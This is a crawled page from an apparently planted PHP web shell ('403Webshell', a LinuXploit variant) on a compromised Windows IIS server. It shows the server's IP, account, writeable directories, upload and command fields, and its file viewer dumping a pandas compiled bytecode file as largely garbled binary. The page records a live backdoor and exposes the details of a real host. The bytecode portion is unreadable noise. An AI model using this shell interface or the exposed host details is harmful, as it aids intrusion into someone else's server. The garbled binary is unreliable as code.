403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/core/interchange/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/core/interchange/__pycache__/buffer.cpython-312.pyc
�

-	�g}
��p�ddlmZddlmZmZddlmZmZerddlZ	ddl
ZGd�de�ZGd�de�Z
y)	�)�annotations)�
TYPE_CHECKING�Any)�Buffer�DlpackDeviceTypeNc�V�eZdZdZd	d
d�Zedd��Zedd��Zdd�Zd
d�Z	dd�Z
y)�PandasBuffer�F
    Data in the buffer is guaranteed to be contiguous in memory.
    c���|jdrI|j|jjfk(s%|r|j�}||_yt	d��||_y)zG
        Handle only regular columns (= numpy arrays) for now.
        rzBExports cannot be zero-copy in the case of a non-contiguous bufferN)�strides�dtype�itemsize�copy�RuntimeError�_x)�self�x�
allow_copys   �@C:\Python312\Lib\site-packages\pandas/core/interchange/buffer.py�__init__zPandasBuffer.__init__s]��
�9�9�Q�<��	�	�a�g�g�.>�.>�-@� @���F�F�H�����#�1������c�p�|jj|jjjzS�z'
        Buffer size in bytes.
        )r�sizer
r�rs r�bufsizezPandasBuffer.bufsize*s%��
�w�w�|�|�d�g�g�m�m�4�4�4�4rc�:�|jjddS)�?
        Pointer to start of the buffer as an integer.
        �datar)r�__array_interface__rs r�ptrzPandasBuffer.ptr1s��
�w�w�*�*�6�2�1�5�5rc�6�|jj�S�z?
        Represent this structure as DLPack interface.
        )r�
__dlpack__rs rr$zPandasBuffer.__dlpack__8s���w�w�!�!�#�#rc�&�tjdfS�zU
        Device type and device ID for where the data in the buffer resides.
        N�r�CPUrs r�__dlpack_device__zPandasBuffer.__dlpack_device__>���!�$�$�d�+�+rc��dt|j|j|j�djd��zdzS)Nz
PandasBuffer(r�rr!�device�))�strrr!r)�namers r�__repr__zPandasBuffer.__repr__DsK����#�|�|��8�8�"�4�4�6�q�9�>�>���
��
�
	
rN)T)rz
np.ndarrayr�bool�return�None�r3�int�r3r�r3z#tuple[DlpackDeviceType, int | None]�r3r/��__name__�
__module__�__qualname__�__doc__r�propertyrr!r$r)r1�rrr	r	sC����&�5��5��6��6�$�,�
rr	c�`�eZdZdZ						d	d�Zed
d��Zed
d��Zdd�Zdd�Z	d
d�Z
y)�PandasBufferPyarrowr
c� �||_||_y)z0
        Handle pyarrow chunked arrays.
        N)�_buffer�_length)r�buffer�lengths   rrzPandasBufferPyarrow.__init__Ws�������rc�.�|jjSr)rDrrs rrzPandasBufferPyarrow.bufsizecs��
�|�|� � � rc�.�|jjS)r)rD�addressrs rr!zPandasBufferPyarrow.ptrjs��
�|�|�#�#�#rc��t��r#)�NotImplementedErrorrs rr$zPandasBufferPyarrow.__dlpack__qs
��"�#�#rc�&�tjdfSr&r'rs rr)z%PandasBufferPyarrow.__dlpack_device__wr*rc�T�dt|j|jdd��zdzS)NzPandasBuffer[pyarrow](r(r,r.)r/rr!rs rr1zPandasBufferPyarrow.__repr__}s7��$��#�|�|��8�8�#���
��
�
	
rN)rFz	pa.BufferrGr6r3r4r5r7r8r9r:r@rrrBrBRs_���
��
��	
�

�
��!��!��$��$�$�,�
rrB)�
__future__r�typingrr�*pandas.core.interchange.dataframe_protocolrr�numpy�np�pyarrow�par	rBr@rr�<module>rVs6��"��
�
���=
�6�=
�@6
�&�6
r

Youez - 2016 - github.com/yon3zu
LinuXploit